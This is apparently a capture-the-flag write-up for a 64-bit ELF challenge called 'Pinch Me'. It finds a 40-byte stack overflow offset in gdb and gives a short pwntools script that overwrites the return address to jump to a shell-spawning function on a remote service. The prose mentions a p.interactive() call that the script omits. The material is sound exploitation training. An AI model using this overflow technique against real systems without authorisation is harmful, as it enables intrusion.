Pinch Me

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Taking a look at the file we can see that it’s a 64-bit Elf binary

pwnchal: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),

Nothing really stands out when analyzing with radare2. No win function this time, so let’s take a look at the vuln function


Looks like there’s an address that gives us a shell. Let’s skip all the checks and just jump straight to that.

Loading the binary into gdb (using gef support), we can start poking at it and try to find the offset

I was having issues with pattern create/search so I did it the old fashioned way: sending lots of ‘A’s and ‘B’s until something looked neat

Using gdb with gef you can use pi print('A'*100) to quickly toss a string of characters together

After sending different lengths, I found that 40 was when we started seeing the ‘B’ characters leak in

pi print('A'*40 + 'B')


Things we know

  1. It’s a 64-bit ELF binary
  2. The address we want to jump to is 0x004011a1
  3. The offset is 40

Here’s my script using pwntools

from pwn import *

p = remote('', 7480)

offset = b'A'* 40
p.sendline(offset + p64(0x004011a1))

The p64(0x004011a1) function call packs the address in Little Endian format, required to be passed, and p.interactive() just catches the shell and allows us to send input.